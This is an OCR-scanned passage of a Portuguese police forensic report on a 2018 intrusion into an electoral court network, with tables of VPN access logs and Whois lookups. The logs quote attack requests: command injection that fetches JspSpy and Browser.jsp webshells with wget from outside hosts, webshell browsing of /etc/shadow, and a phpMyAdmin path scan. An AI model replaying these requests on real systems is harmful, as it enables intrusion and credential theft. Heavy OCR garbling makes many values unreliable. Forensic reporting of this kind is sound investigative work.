pudessem ser importados pelas ferramentas supracitadas. Vale ressaltar que alguns arquivos 
“xls” apresentavam cabeçalhos com campos diferentes, e que algumas linhas desses arquivos 
não correspondiam ao padrão observado no cabeçalho, provavelmente devido à presença de 


caracteres especiais não tratados. 


Após a importação dos referidos arquivos de log, foram geradas visualizações na 
ferramenta Kibana, que permitiram ter uma visão geral dos dados fornecidos, resultando nas 


análises a seguir: 


е ITEM 01: 


О arquivo “usr digitro.txt", extraído do arquivo “usr digitro.tar.gz", continha 


41.717.013 linhas de registro (“logs”), as quais foram importadas e posteriormente analisadas. 


Os registros de log estáo compreendidos entre os períodos de 02/04/2018 a 
23/04/2018. 


Entre as linhas importadas, verificou-se a existéncia de registros de acesso dos 


seguintes usuários: 


#| USUÁRIO — . [REGISTROS | 
(2 TRE-PBpedofn |8 (| 
_3 | TRE-PB\mario 6 | 















| 6 | TRE-PB\agmtargino 


Não foram detectadas anormalidades nos acessos dos usuários 2 a 7. Em relação 






ao usuário 1 (“digitro”), foram obtidos os 10 endereços IP de origem (campo 22 


recorrentes nos registros analisados: — 










46 
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| |... 9» DO TOTAL. 


ENDERECO IP DE ORIGEM 







De pronto, é possível perceber o grande número de registros oriundos dos IPs 
10.12.2.29, 10.12.2.33, 10.12.2.7 e 10.12.2.39, os quais, segundo informação do TSE, 
e pertencem à rede do TRE/PB. 


Foram realizadas pesquisas por endereços IP de origem (campo “src”) que não 












fossem reservados para intranets, obtendo-se o seguinte resultado após a consulta Whois: 
(RIO “DIGITRO” > | 


Organizacáo 
Endereço IP Data Início 

Responsável 

LOCAWEB | | 

SERVICOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil 

INTERNET S/A ` 

HYDRA RE 

COMMUNICATIONS | 195.140.215.13 | 17/04/2018 20:38:39 | 21/04/2018 15:02:57 | ПО 
LTD Unido 


185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14 











Data Término 


— 


185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32 
185.153.176.8 18/04/2018 02:25:21 | 18/04/2018 05:27:54 
185.153.176.2 18/04/2018 02:37:52 | 18/04/2018 02:56:54 | Panamá 








NORDVPN-L1 
TEFINCOM S.A. 





185.153.176.6 18/04/2018 03:04:47 | 18/04/2018 03:13:54 
185.153.176.3 18/04/2018 03:20:35 | 18/04/2018 03:20:35 
185.153.176.9 20/04/2018 10:50:23 | 20/04/2018 15:15:42 

201.81.167.53 18/04/2018 03:15:28 | 21/04/2018 08:36:42 : 
NS A: 201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 | Brasil 


18/04/2018 18:56:14 

18/04/2018 19:13:08 

18/04/2018 23:14:54 

18/04/2018 20:56:20 
TIM CELULAR S.A. .72. :21: 


—P 





18/04/2018 22:21:17 | Brasil 
18/04/2018 22:23:14 
18/04/2018 23:14:52 
19/04/2018 01:13:32 





UN 


19/04/2018 04:08:37 
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189.40.88.15 19/04/2018 08:11:15 | 19/04/2018 08:11:16 





Os endereços IP das organizações citadas foram utilizados em sua grande parte 
para acessar o endereço IP 187.33.236.165, nas portas 4433 (HTTPS/SSL) е 4500 (IPsec). 
Tal enderego está registrado para o Tribunal Regional Eleitoral da Paraíba, e tais portas 


indicam acesso por meio da VPN daquele órgáo. 


Entre os endereços IP de origem dos acessos, verificou-se a existência de IPs 
localizados no exterior (NordVPN - https://nordvpn.com e HYDRA COMMUNICATIONS 
LTD) e pertencentes à empresa Locaweb e às operadoras de telefonia celular Claro e Tim no 


Brasil. 


Na página seguinte, pode-se visualizar uma linha de tempo com os acessos 


endereços IPs de cada um dos grupos supracitados: 





574 








ба 


00:61 
vo/TZ 


гъсто < 





00:TT 
уо/те 


00:50 
vo/TZ 


am: 


00:61 OOTI 00:Е0 00:61 OO:TT 00:20 00:61 
ғ0/02 ғ0/02 ғ0/02 vO/6t vO/6t 20/61 *0/8t 


I uy wp v НЕГІ 


(овзепициоо) Jd/3OOIQ/ZV.-1dDO/2OIS/2O10-6102/700 „М OYVÓVIARIOJNI 


e Ф 


00:17 
v0/81 





00:50 
ғ0/8Т 


"t 


“a 














So | 
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Também foram realizadas buscas por argumentos suspeitos, os quais poderiam 


indicar o download de artefatos maliciosos para os computadores, chegando-se ao seguinte 


resultado: 


Ө 
17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pqp.¡sp?comment=wget+https://raw.githubuserco 
22:04:48 :17177:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/J  . i 
2 17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pap.jsp?comment=wget+https://raw.githubuserco 
22:08:06 :38665:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/J 


3 18/04/2018, | 10.12.2.33 | 10.12.0.131 laf/pqp.¡sp?comment=wget+https://raw.githubuserco 
00:21:54 :1906:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/JspSpy.jsp 


18/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pqp.¡sp?comment=wget+https://raw.githubuserco 
00:23:04 :13998:X1 | :8080:X0 ^ | ntent.com/tennc/webshell/master/Jsp/JspSpy.jsp 


18/04/2018, | 10.12.2.29 10.2.70.92 Imywebserver/verificaLoginUsuario. php?Nome=test 
04:37:49 :52765:X1 | :80:X0 „4 e&Senha-teste 


18/04/2018, 10.12.2.29 | 10.5.2.56 Iteste/domFunctions, 15 | 
22: 34: 14 :5$2651:X1 :80: X0 


522” 10.12.2.29 | 10.5.2.56 fteste/boxover.js 

22:34:14 :52652:X1 | :80:X0 

18/04/2018, 10.12.2.29 | 10.5.2.56 fteste 

22: 34:14 :50806:X1 | :80:X0 

18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/padrao2:css 

22:34:14 :52650:X1 | :80:X0 

18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/estilos. css А | 

22:34:14 :52649:X1 | :80:X0 ; B 1 
12 | 18/04/2018, 10.12.2.29 | 10.5.2.56 fteste/padrao.ess I 

22:34:14 :52648:X1 | :80:X0 


18/04/2018, | 10.12.2.29 | 10.5.2.57 fat/pap.jsp?comment=wget+10.12.0.13 1:8080/jmx- 
22:45:23 :52907:X1 | :8080:X0 console/Browser.jsp.txt+- + | 
O+/opt/jboss/server/default% 


14 | 18/04/2018, 10.12.2.29 | 10.5.2.57 fafipap.isp?comment=wget+http://10. 12.0.131:8080/ 
22:46:18 :58919:X1 | :8080:X0 jmx-console/Browser.jsp.txt+-O+/opt/jboss/serv 
15 


18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.¡sp?comment=Command:+wget+http: /Гаррв3 | 
22:48:03 :52246:X1 | :8080:X0 .tre-rn.jus. br/documentos/atas/config/Browser.¡spt ^ 15р 227 | 




















` 


oi i 2 Е 4 
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18/04/2018, 
22:48:37 


10.5.2.57 
:8080:X0 


/af/pqp.¡sp?comment=wget+http://apps3 .tre- 
rn.jus.br/documentos/atas/config/Browser.jsp.txt+- 
О+/ор 




















18/04/2018, 
22:49:59 






10.12.2.29 
:57466:Х1 


laf/pqp.jsp?comment-wget-thttp://apps3.tre- 
rn.jus.br/documentos/atas/config/Browser.j Jsp. txtt- 
О+/ор 


10.5.2.57 
:8080:X0 


18/04/2018, | 10.12.2.29 | 10.5.2.57 
23:13:04 :59208:X1 | :8080:X0 


18/04/2018, | 1041222229 | 10.5.2.63 
23:42:07 :60046:X1 


18/04/2018, | 10.12.2.29 
23:55:10 :52592:X1 


18/04/2018, | 10.12.2.29 
23:56:07 :62863:Х1 


2 | 19/04/2018, | 10.12.2.29 
00:17:37 :50626:X1 
19/04/2018, | 10.12.2.29 
00:17:53 :50622:Х1 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:19:31 :50627:X1 | :8080:Х0 
19/04/2018, |10.122.29 | 10.1.1.38 
00:20:00 :50631:X1 | :8080:Х0 

19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:22: 06 :50637:Х1 :8080: X0 
19/04/2018, | 10.12.2:29 | 10.1.1.38 
00:31:21 :50875:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:37:01 :50878:X1 | :8080:Х0 
19/04/2018, | 10.12.2229 | 10.1.1.38 
00:41:13 :51035:ХІ | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 
00:41:37 :51036:X1 | :8080:X0 
31 | 19/04/2018, | 10.12.2.29 | 10:1.1.38 
00:46:32 :51044:X1 | :8080:X0 












laf/pqp.jsp?comment-wget*--h 







/af/pqp.jsp?comment-wget-http://apps3.tre- 
:8080: X0 mus. br/documentos/atas/config/Browser jsp. txt+- 
О+/ор 












10.5.2.66 /af/pap.jsp?comment=wget 
:8080:X0 


10.5.2.66 /af/pqp.¡sp?comment=wget+http://apps3.tre- 
:8080:X0 rn.jus.br/documentos/atas/config/Browser.jsp.txt*-- 
О++/о 




















10.1.1.38 
:8080:X0 





fteste/Browser.|sp 





10.1.1 38 Ateste/JspSpy.jsp?o-upload 


:8080:X0 























fteste/pap.jsp?comment=locate+jmxproxy 





/teste/Browser.jsp?sort- | &editfile=/etc/shadow 





Ateste/Browser.jsp 





/teste/Browser.jsp?sort-| &dir=/usr/local/apache- 
tomcat-6.0.35/webapps/asi 


heste/Browser.jsp?sort- | &dir-/usr/local/apache- 
tomcat-6.0.35/webapps 













IKteste/Browser.jsp?sort- 1 &dir=/usr/local/ apache- 
tomcat-6.0.35/webapps/teste 





Iteste/Browser.jsp?sort=1 &dir-/usr/local/apache- 
tomcat-6.0.35/webapps/teste 


Ateste/Browser.jsp?sort- | &dir-/usr/local/apache- 
tomcat-6.0.35/webapps 













B ы 51 
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гад aom SDN Ia S З ERISA EE 
10.1.1.38 RUMP 





10.12.2.29 





SE ИВ Md 
19/04/2018, 
04:16:22 :51282:X1 | :8080:Х0 


i REN HAST Goo 2 X 
19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.Jsp 
04:19:39 :59739:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.38 Iteste/JspSpy.jsp 
04:24:24 :58511:X1 | :8080:X0 


35 | 19/04/2018, | 10.12.2.29 | 192.168.204 | /teste-cluster 
04:28:34 :58475:X1 


56 | 19/04/2018, | 10.12229 | 10.1.1.127 | /teste/JspSpy.jsp?o-vLogin 
05:53:36 :55899:X1 | :8080:X0 
19/04/2018, | 10.12229 | 10.1.1.127 | /teste/JspSpy.jsp 
05:54:05 :53918:X1 | :8080:X0 


19/04/2018, | 10.12.2.29 | 10.1.1.127 | /teste/JspSpy.isp 
05:55:33 .|:60277:X1 | :8080:X0 


19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp : 
05:57:45 :59960:X1 | :8080:X0 I 
4 19/04/2018, | 10.12.2.29 | 10.1.1.127 Ateste/JspSpy.]sp | | 
05:58:14 :52540:X1 | :8080:X0 
: 19/04/2018, 10.12.2.29 | 10.1.1.127 fteste/JspSpy.jsp 
05:58:36 :60747:Х1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?Javascript 
06:00:33 :60406:X1 | :8080:X0 
19/04/2018, 10.12,2,29 | 10.1.1.127 /teste/JspSpy.]sp 
06:00:36 :53714:X1 | :8080:X0 
44 | 


19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?sort- | &dir-/usr/share/tomcat6/w 
06:01:30 :55975:X1 | :8080:X0 























Ua 















ebapps/sadAdmSRHSP 











19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort- | &dir-/usr/share/tomcat6/w 
06:06:40 :61734:X1 | :8080:X0 ebapps/sadAdmSRHSP 


46 | 19/04/2018, | 10.12229 | 10.1.1.127 | /teste/JspSpy.jsp 
06:07:46 :58985:X1 | :8080:X0 
47 | 19/04/2018, 10.12.2.29 | 10.1.1.127 fteste/JspSpy.Jsp | 
06:08:42 :57462:X1 | :8080:X0 » 
48 | 19/04/2018, | 10.12.2:29 | 10.1.1.127 | /teste/JspSpy.jsp . 
06:08:56 :56322:X1 | :8080:X0 2 
CHA 77 


и 








19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/images/logo.png 
06:15:50 :50869:X1 | :8080:X0 












a DATA | ORIGEM ORIGEM | DESTINO | ARGUMENTO 
19/04/2018. 10.12.2229. | 10.1.1.127 Iteste/JspSpy jsp 

| 06:09:36 :59858:X1 | :8080:X0 

Б 19/04/2018, | 10.12.2.29 | 10.1.1.127 Iteste/Browser.jsp?sort- 1 &dir=/usr/share/tomcat6/w 
06:09:40 :50962:X1 | :8080:X0 ebapps/sadAdmSRHSP/WEB-INF 
19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp 
06:10:03 :54888:X1 | :8080:Х0 
19/04/2018, | 10.12.2.29 | 10.1.1.127 Iteste/Browser.jsp?sort=1 &dir=/usr/share/tomcat6/w 
06:13:41 :58852:X1 | :8080:X0 ebapps 


19/04/2018, | 10.12.2.29 | 10.1.1.127 | /teste/Browser.jsp?sort- | &dir-/var/www/html/piwi 
06:15:18 :64618:X1 | :8080:X0 k 


54 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/images/logo.png 
06:15:49 :52485:X1 | :8080:X0 
















un 
i] 









19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?sort=| &file=/var/www/html/inde 
06:16:17 :50773:X1 | :8080:X0 x.html 


19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/Browser.jsp?sort=1 &dir-/var/www/html/tresp 
06:17:02 :49621:X1 | :8080:X0 commonsweb-api/src 
19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/servicemonitor.swf 
06:17:02 :56235:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 fteste/lib/air/AIRLocalizer.]s 
06:17:02 :56232:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/AIRSourceViewer.js 
06:17:02 :56234:X1 | :8080:X0 

19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/lib/air/AIRMenuBuilder.¡s 
06:17:02 :56233:X1 | :8080:X0 

19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/applicationupdater.swf 
06:17:03 :56236:X1 | :8080:X0 


19/04/2018, 10.12.2.29 1 10.1.1.127 /teste/Browser.jsp?sort- | &file-/var/www/html/tresp 
06:17:40 :50402:X1 | :8080:X0 commonsweb-api/index.php 


19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/assets/css/Print.css 
06:18:27 :63586:X1 | :8080:X0 
19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/assets/css/APIBrowser.css 
06:18:27 :63585:X1 | :8080:X0 2 























CN 
NE 













19/04/2018, | 1041222229 | 10.1.1.127 /teste/JspSpy.jsp 
| 06:24:15 :61459:Х1 | :8080:Х0 
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6 





6 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 


06:18:27 :63583:X1 | :8080:X0 
67 | 19/04/2018, 10.12.2.29 | 10.1.1.127 
06:18:27 :63587:X1 | :8080:X0 
19/04/2018, 10.12.2.29 | 10.1.1.127 
06:18:27 :63584:Х1 | :8080:X0 
69 | 19/04/2018, 10.12.2.29 | 10.1.1.127 
06:19:59 :61553:ХІ | :8080:X0 
70 | 19/04/2018, 10.12.2.29 | 10.1.1.127 
06:20:23 :56703:X1 | :8080:X0 
71 19/04/2018, 10.12.2.29 | 10.1.1.127 
06:21:24 :53857:ХІ | :8080:X0 
72 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp 

06:22:52 :57667:X1 | :8080:X0 





fteste/lib/jqueryapi/api-browser.js 







/teste/lib/¡queryapi/api-loader.js 







/teste/lib/air/AC_RunActiveContent.js 







fteste/Browser.jsp?sort-1 &file=/var/www/html/tresp 
commonsweb-api/no-scroll-application.xml 







/teste/Browser.jsp?sort- &file=/var/log/tomcat6/cat 
alina.out 





/teste/Browser.jsp?sort- | &dir=/ 











19/04/2018, 10.12.2.29 | 10.1.1.127 fteste/JspSpy.]sp 
06:25:15 :54637:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.127 | /teste/JspSpy.jsp 
06:26:09 :51639:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.1.1.215 /af/pqp.jsp?comment-wget 
06:43:28 :58636:X1 | :8089:X0 


19/04/2018, | 10.12.229 | 1 01 1.215 /af/pqp.jsp?comment-wget-http://apps3.tre- 
06:45:05 :62162:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq 


78 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 af/pqp.jsp?comment-wget-*http://apps3.tre- 
06:46:10 :62214:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq 

79 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 faf/pqp.Jsp?comment-wget--http://apps3.tre- 
06:48:43 :62424:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq ` 
19/04/2018, | 10.12.2.29 | 10.10.1.241 | /teste/my web app.war 
10:05:55 :59409:X1 | :8080:Х0 
19/04/2018, 10.12.2229 | 10.12.1.182 | /af/pqp.jsp?comment-wget 
10:18:34 :58337:Х1 | :8080:X0 = 


82 | 19/04/2018, 10.12.2.29 | 10.12.1.182 
10:19:35 :64425:Х1 | :8080:X0 
























laflpqp.¡sp?comment=wget+http://apps3 tre- 
rn.jus.br/documentos/atas/config/Browser.jsp.txt+- 
OH 


y 








INFORMAÇÃO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 


E DATA | ORIGEM | [DESTINO | DESTINO [ARGUMENTO —— | 
19/04/2018, | 1012.22.29 | 10.8.1.11 /teste 
19:12:06 :55050:X1 | :8080:X0 
19/04/2018, | 10.12.2.29 | 10.8.1.11 /teste 
19:13:15 :60960:X 1 | :8080:X0 


19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort- | &dir=/usr/local/tomcat/ 
19:51:26 :45633:X1 | :8080:Х0 webapps 


19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.¡sp?Javascript 

19:51:57 :45632:X1 | :8080:X0 

19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort- | &dir-/usr/local/tomcat/ 
19:53:57 :58662:X1 | :8080:X0 webapps/tre 


19/04/2018, | 10.122.7 10.8.1.11 /Browser/Browser.jsp?sort=1 &dir-/usr/local/tomcat/ 
19:54:41 :1485:X1 :8080:X0 webapps/tre/WEB-INF/classes/sade 


19/04/2018, 10.12.2.7 10.81.11 /Browser/000.jsp 

19:56:04 :10862:X1 | :8080:X0 

19/04/2018, | 10.12 10.8.1.11 /Browser/000.jsp 

19:56:33 13254 :8080:Х0 

19/04/2018, | 10.12.2.7 10.81.11 /Browser/000.jsp 

19:57:13 :18299:X1 | :8080:X0 

19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort- | &dir-/usr/local/tomcat/ 

20:11:32 4569 ХІ. | :8080:X0 webapps/tre/W EB-INF/classes/sade 
19/04/2018, | 10.12.2.7 10.81.11 
20:15:17 :6232:X1 :8080:Х0 

19/04/2018, | 10.12.2.7 10.81.11 

20:16:46 :17640:X1 | :8080:X0 


19/04/2018, 10.12.2.7 10.8.1.11 






































/Browser/Browser.|sp?sort- | &dir=/usr/local/tomcat/ 
webapps/tre/W EB-INF/classes/supre 










/Browser/Browser.jsp?sort- | &dir=/usr/local/tomcat/ 
webapps/tre/W EB-INF/classes/dne 









/Browser/Browser.]sp?sort- | &dir=/usr/local/tomcat/ 











20:17:11 :19690:X1 | :8080:Х0 webapps/tre/WEB-INF/classes/sas/conf 
19/04/2018, | 10.12.2.29 | 10.8.1.11 /Browser/000.jsp 

20:30:06 :57704:Х1 | :8080:X0 

19/04/2018, 10.12.2.29 | 10.81.11 /Browser/000.jsp 

20:44:04 :53575:X1 | :8080:X0 





08 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort- | &dir-/usr/local/tomcat/ 
20:59:22 :17601:Х1 | :8080:X0 webapps/tre/WEB-INF/classes/sas 
19/04/2018, | 10.12.2.7 10.8.1.11 
21:05:20 :55864:X1 | :8080:X0 








/Browser/Browser.jsp?sort-] &dir-/usr/local/tomcat/ 
webapps/tre/W EB-INF/classes 





5 















D 
giis: HUC Аса А | NE. ме, pe 1 
19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &file=/usr/local/tomcat 
21:08:52 :12679:Х1 | :8080:X0 Iwebapps/tre/WEB- de 
INF/classes/componente_acesso% 


19/04/2018, 1014227 [10811] /Browser/Browser.jsp?sort=| &dir=/usr/local/tomcat/ 
21:32:13 :24811:X1 | :8080:X0 webapps/tre/WEB-INF/classes/gas | 


102 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort- | &dir-/usr/local/tomcat/ 
21:33:16 :36251:X1 | :8080:X0 webapps/consultaOrcamentaria/WEB-INF/classes 


103 | 19/04/2018, | 10.12.2.29 10.1.1.38 Iteste/JspSpy.jsp?o-vLogin 
22:01:58 :62705:X1 | :8080:X0 | 
104 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 Ateste/JspSpy.]sp | | 
22:02:29 :63021:X1 | :8080:X0 
105 | 20/04/2018, | 10.12.229 | 10.8.1.11 /Browser/000.jsp | 
Ф 01:21:38 :61092:X1 | :8080:X0 | 
21/04/2018, | 10.12.2.29 | 10.1.1.38 fteste/)spSpy.]sp 
06:14:06 :64769:X1 | :8080:X0 
107 | 21/04/2018, | 10.12.2229 | 10.1.1.38 /teste/JspSpy.jsp f 
. | 06:35:47 :57429:X1 | :8080:X0 | 
21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp | 
07:05:38 :53939:X1 | :8080:X0 | 
21/04/2018, | 10.12.2229 | 10.1.1.38 | /teste/JspSpy.jsp 
07:13:09 :60667:X1 | :8080:X0 S 
110| 21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp 
14:00:29 :50096:X1 | :8080:X0 


ө Entre as atividades detectadas, temos por exemplo o download de artefatos 
maliciosos (JspSpy.jsp e Browser.jsp) e а varredura de portas em outros computadores. É 
interessante notar que em um dos casos (linha 5, sombreada em cinza acima), o artefato 
malicioso foi baixado do endereço IP 191.252.0.19, pertencente à empresa Locaweb Serviços 


de Internet S/A. 


Em relação aos fatos divulgados em novembro de 2018, foram realizadas buscas 
pelo endereço IP 10.30.1.229, o qual, segundo relatório fornecido pelo próprio TSE, continha 
um portal da Seção de Voto Informatizado, SEVIN, com a indicação de link de dois servidores 


de integração contínua (Jenkins), um em Windows e outro em 








56 








T 
INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 5 


Foram identificados acessos realizados a este endereço ІР ainda em abril de 2018, 
oriundos dos endereços IP 10.12.2.33, 10.12.2.39 e 10.12.2.29, o que indica que o possível 
hacker pode ter obtido acesso aos códigos-fonte ainda nesse período. Nos acessos, é possível 
perceber que são realizados testes para verificar a existência de ferramentas que possam ser 
alvos de ataques, como por exemplo o PhpMyAdmin, nos computadores de destino, e que são 
acessados links condizentes com a captura de tela do servidor da SEVIN apresentada 


relatório do TSE, como as linhas sombreadas em cinza abaixo: 








INF un 2 N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 

















18/04/2018 00:56:02 
18/04/2018 00:56:06 — |10.12.2.33:17497:X1 
18/04/2018 00:56:07 /pma/ 

18/04/2018 00:56:07 /dbadmin/ 

18/04/2018 00:56:07 


ол 


/myadmin/ | 

10.12.2.33:18286:Х1 
18/04/2018 00:56:11 — [10.12.2.33:19414:X1 | 10.30.1.229:80:X0 | /phpMyAdmin2/ 
18/04/2018 00:56:11 — | 10.12.2.33:18962:X1 /openserver/phpmyadmin/ 
1 | | / 


8/04/2018 00:56:12 0.12.2.33:19570:X1 10.30.1.229:80:X0 phpMyAdmin-2/ 


2 


UJ 


| E 


18/04/2018 00:56:13 10.12.2.33:19912:X1 10.30.1.229:80:X0 /php-my-admin/ 












17 — [18/04/2018 00:56:14 |10.12.2.33:20196Х1 _ | 10.30.1.229:80:X0 — 7 |/phpMyAdmin-22.6/ 
18 — |18/04/201800:56:16 |10.12.2.33:20526ХІ 110.30.1.229:80:Х0 —  /рһрМуАйтіп-2.5.1/ 
19 — |18/04/201800:56:17 110.12.2.33:21188:ХІ [10.30.1229:80:X0 7 |/phpMyAdmin-2.5.4/ 
10.30.1.229:80:X0 
I 56: 10.30.1.229:80:Х0 


8/04/2018 00:56:18 10.12.2.33:21496:X 1 
2 18/04/2018 00:56:19 10.12.2.33:21776:Х1 10.30.1.229:80:Х0 /phpMyAdmin-2.5.5/ 
1 : 


159] 









8/04/2018 00:56:19 /phpMyAdmin-2.5.5-pll/ 
18/04/2018 00:56:20 
18/04/2018 00:56:20 10.30.1.229:80:X0 /phpMyAdmin-2.5.6-rcl/ 


18/04/2018 00:56:22 10.12.2.33:22851:Х1 10.30.1.229:80:Х0 /phpMyAdmin-2.5.7-pl1/ 





AS 


Z 











INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPF лось (continuacáo) 











18/04/2018 00:56:22 — |10.12.2.33:23007:X1 |10.30.1.229:80:Х0 /phpMyAdmin-2.6.0-alpha/ 
18/04/2018 00:56:23 |10.12.2.33:23162:X1 |10.30.1.229:80:Х0 /phpMyAdmin-2.6.0-alpha2/ 
18/04/2018 00:56:24 | 10.12.2.33:23512:X1 |10.30.1.229:80:Х0 /phpMyAdmin-2.6.0-betal/ 


us 
кә 


+ 


+ | | aj | Кр UY] „| | Lo] UI 
vj NI — | o ~“ чә 


[phpMyAdmin-2.6.0-beta2/ 
[phpMyAdmin-2.6.0-rc1/ 
|phpMyAdmin-2.6.0-rc3/ 
10.12.2:33:24506:X1 [10.30.1.229:80:X0 —  |/phpMyAdmin-2.6.0/ 


о | tA 


8 — |18/04/201800:56:28 |10.12.2.33:24963:Х1 |10.30.1.229:80:Х0 7 |/рһрМуАйтіп-2.6.0-рі2/ 

9 — |18/04/2018 00:56:28 |10.12.2.33:25231:Х1 
18/04/2018 00:56:28 |10.12.2.33:25079Х1 — |10.30.1.229:80:X0 
18/04/2018 00:56:20 | 10.12.2.33:25381:X1 
18/04/2018 00:56:29 |10.12.2.33:2549І:ХІ 
1 1 










8/04/2018 00:56:30 —.|10.12.2.33:25636:X1 |10.30.1.229:80:Х0 /phpMyAdmin-2.6. 1-pl1/ 
18/04/2018 00:56:31 |10.12.2.33:25936:Х1 |10.30.1.229:80:Х0 /phpMyAdmin-2.6.1-pl2/ 
45 / 






bhpMyAdmin-2.6. |-p13/ 
18/04/2018 00:56:35 
18/04/2018 00:56:36 | 10.122.33:27823:X1 
9 [18/04/2018 00:56:37 |10.12.2:33:28566:X1 | 10.30.1.229:80:X0 
1 1 1 / -2.6. 

1 


oo 


4 — | © 


0 8/04/2018 00:56:38 |10.12.2.33:28718:Х1 |10.30.1.229:80:Х0 
2 [18/04/2018 00:56:38 
3 
4 
55 |18/04/2018 00:56:41 [10.12.2.33:29637:ХІ  |10.30.1.229:80:X0 
AS 
аи 


NN 


uU 
[o2 























norma do N? 002/2019-UTC/ a (continuagáo) 











58 |18/04/201800:5644 [10.12.2.33:30837:Х1 [10.30.1.229:80:X0 7 |/рһрМуАйтіп-2.6.4-ріЗ/ 
9 
18/04/2018 00:56:47 


ол 


ta 


1 
18/04/2018 00:56:49 — |10.12.2.:33:33436:X1 [10.30.1.229:80:х0 1 |/phpMyAdmin-2.7.0-pl1/ 
18/04/2018 00:56:50 |10.12.2.33:34522:Х1 0 1|10.30.1.229:80:Х0 — |/phpMyAdmin-2.7.0/ 
5 |18/04/2018 00:56:50 | 10.12.2.33:34091:X1  |10.30.1.229:80:X0 — |/phpMyAdmin-2.7.0-pI2/ 
7 |18/04/2018 00:56:52 — |10.12.2.33:34880:X1  |10.30.1.229:80:X0 7 |/рһрМуАйтіп-2.8.0-ге1/ 
[phpMyAdmin-2.8.0-rc2/ 
[phpMyAdmin-2.8.0.2/ 
0 
18/04/2018 00:56:54 — |10.12.2.33:35494:X1 
18/04/2018 00:56:54 |10.12.2.33:36257:Х1 
| / 
/ 
/ 
/ 
/ 


A 


e 









A 


10.30.1. :80: D in-2.8.0. 
3 18/04/2018 00:56:55 0.12.2.33:36449:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.0.4/ 

18/04/2018 00:56:55 10.12.2.33:36589:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.1-rc1/ 

18/04/2018 00:56:56 10.12.2.33:36767:X1 10.30.1.229:80:X0 phpMyAdmin-2.8.1/ 


сл 


18/04/2018 00:56:56 — | 10.12.2.33:36958:X1 
18/04/2018 00:56:57 — |10.12.233:37502:X1 | 10.30.1.229:80:X0 
1 1 
1 
1 


o 


© 


oo -| | арыр A] E MI | af A хо е O 
— oj q N|— to 


| А / 
8/04/2018 00:56:57 0.30.1.229:80:X0 
8/04/2018 00:56:58 
8/04/2018 00:56:58 
18/04/2018 00:57:00 
/webadmin/ 






(2 
ВВ 
йй + | орм 














ІмғовмА@ 0 N? Dn ОУ V o. (continuação) 














9 


Oo» 


189 [18/04/2018 00:57:02 — |10.1223339434:X1  [10.30.1229:8:X0 — |/mysgadmi — — 0000- 
[90 [18/04/2018 00:57:03 — |10.12.2.33:39822:X1 
91 — 18/04/2018 16:11:20 _ | 10.122.39:19461:X1 
[02^ | 


0.12.2.39:19462:X1 
18/04/2018 16:11:20 |10.12.2.39:19481:Х1 
